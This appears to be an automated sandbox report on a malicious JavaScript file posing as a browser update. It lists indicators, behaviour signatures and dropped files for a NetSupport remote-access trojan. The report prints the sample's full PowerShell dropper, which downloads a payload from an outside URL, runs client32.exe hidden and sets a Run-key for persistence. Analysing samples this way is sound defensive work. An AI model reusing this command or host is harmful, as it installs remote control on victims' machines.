Analysis
- max time kernel
145s - max time network
152s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
22/03/2024, 14:49
General
- Target Update_(Official Build)_121.0.616.js
- Size 2.1MB
- Sample240322-r67dbscg95
- SHA256 6369daabaaddeae0814f8ad5a1a931d180a32d7ef9c5738215aead2f6a90849c
Malware Config
Extracted
-
ps1
-
ps1.dropper
https://edulokam.com/data.php?7636
-
exe.dropper
https://edulokam.com/data.php?7636
Signatures
- NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
- Blocklisted process makes network request 5 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 5 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\Update_(Official Build)_121.0.616.js"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $YrrxYaaGYru='https://edulokam.com/data.php?7636';$VBkDbnVKAiqYUvjmvYcnSemaFxWyCXWXnB=(New-Object System.Net.WebClient).DownloadString($YrrxYaaGYru);$VIqBbaiRsODNSuVAEhIbTNlVLgpFHDZxcH=[System.Convert]::FromBase64String($VBkDbnVKAiqYUvjmvYcnSemaFxWyCXWXnB);$zxc = Get-Random -Minimum -10 -Maximum 37; $yWXbUjVNxCmxttYBsFwfJiuFsnNFx=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $yWXbUjVNxCmxttYBsFwfJiuFsnNFx -PathType Container)) { New-Item -Path $yWXbUjVNxCmxttYBsFwfJiuFsnNFx -ItemType Directory };$p=Join-Path $yWXbUjVNxCmxttYBsFwfJiuFsnNFx 'WWW.zip';[System.IO.File]::WriteAllBytes($p,$VIqBbaiRsODNSuVAEhIbTNlVLgpFHDZxcH);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$yWXbUjVNxCmxttYBsFwfJiuFsnNFx)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $yWXbUjVNxCmxttYBsFwfJiuFsnNFx 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else { Write-Host 'No exe.'};$AZ=Get-Item $yWXbUjVNxCmxttYBsFwfJiuFsnNFx -Force; $AZ.attributes='Hidden';$s=$yWXbUjVNxCmxttYBsFwfJiuFsnNFx+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICEC';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;2⤵
- Blocklisted process makes network request
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\DIVX34\client32.exe"C:\Users\Admin\AppData\Roaming\DIVX34\client32.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
__PSScriptPolicyTest_t1muwvbl.jzs.ps1
HTCTL32.DLL
MSVCR100.dll
NSM.LIC
PCICHEK.DLL
PCICL32.dll
client32.exe
client32.ini
pcicapi.dll
remcmdstub.exe
memory/2388-20-0x0000022970EE0000-0x0000022970EF0000-memory.dmp
memory/2388-24-0x0000022973510000-0x0000022973522000-memory.dmp
memory/2388-100-0x00007FFE67570000-0x00007FFE68031000-memory.dmp
memory/2388-23-0x00000229734E0000-0x00000229734EA000-memory.dmp
memory/2388-9-0x0000022970EB0000-0x0000022970ED2000-memory.dmp
memory/2388-21-0x0000022970EE0000-0x0000022970EF0000-memory.dmp
memory/2388-19-0x00007FFE67570000-0x00007FFE68031000-memory.dmp